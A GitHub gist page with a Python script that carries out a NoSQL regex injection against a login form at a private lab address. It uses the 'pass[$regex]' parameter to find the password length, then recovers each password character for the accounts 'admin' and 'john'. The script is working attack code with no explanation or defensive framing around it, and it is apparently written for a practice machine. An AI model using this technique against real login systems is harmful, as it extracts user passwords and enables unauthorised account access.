Skip to content

Instantly share code, notes, and snippets.

@IngoKl
Created November 5, 2021 07:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save IngoKl/d6033e87920cd4dfbb55c7e4cfb562f2 to your computer and use it in GitHub Desktop.
Save IngoKl/d6033e87920cd4dfbb55c7e4cfb562f2 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import requests
import string
ip = '10.10.241.19'
def try_password(password, username='admin'):
r = requests.post(f'http://{ip}/login.php', allow_redirects=True, data={'remember': 'on', 'user': username, 'pass[$regex]': password})
if 'Invalid' in r.text:
return False
else:
return True
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits
usernames = ['admin', 'john']
for username in usernames:
print(f'Username: {username}')
# Determine Password Length
length = 0
while True:
length += 1
print(length, end='\r')
if try_password(r'^.{' + str(length) + r'}$', username):
break
print (f'Password Length: {length}')
# Get Password
password = ['.' for i in range(length)]
for i in range(length):
for char in alphabet:
password[i] = char
pw = ''.join(password)
print(pw, end='\r')
if try_password(r'^' + pw + r'$', username):
break
print (f'Password: {"".join(password)}')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment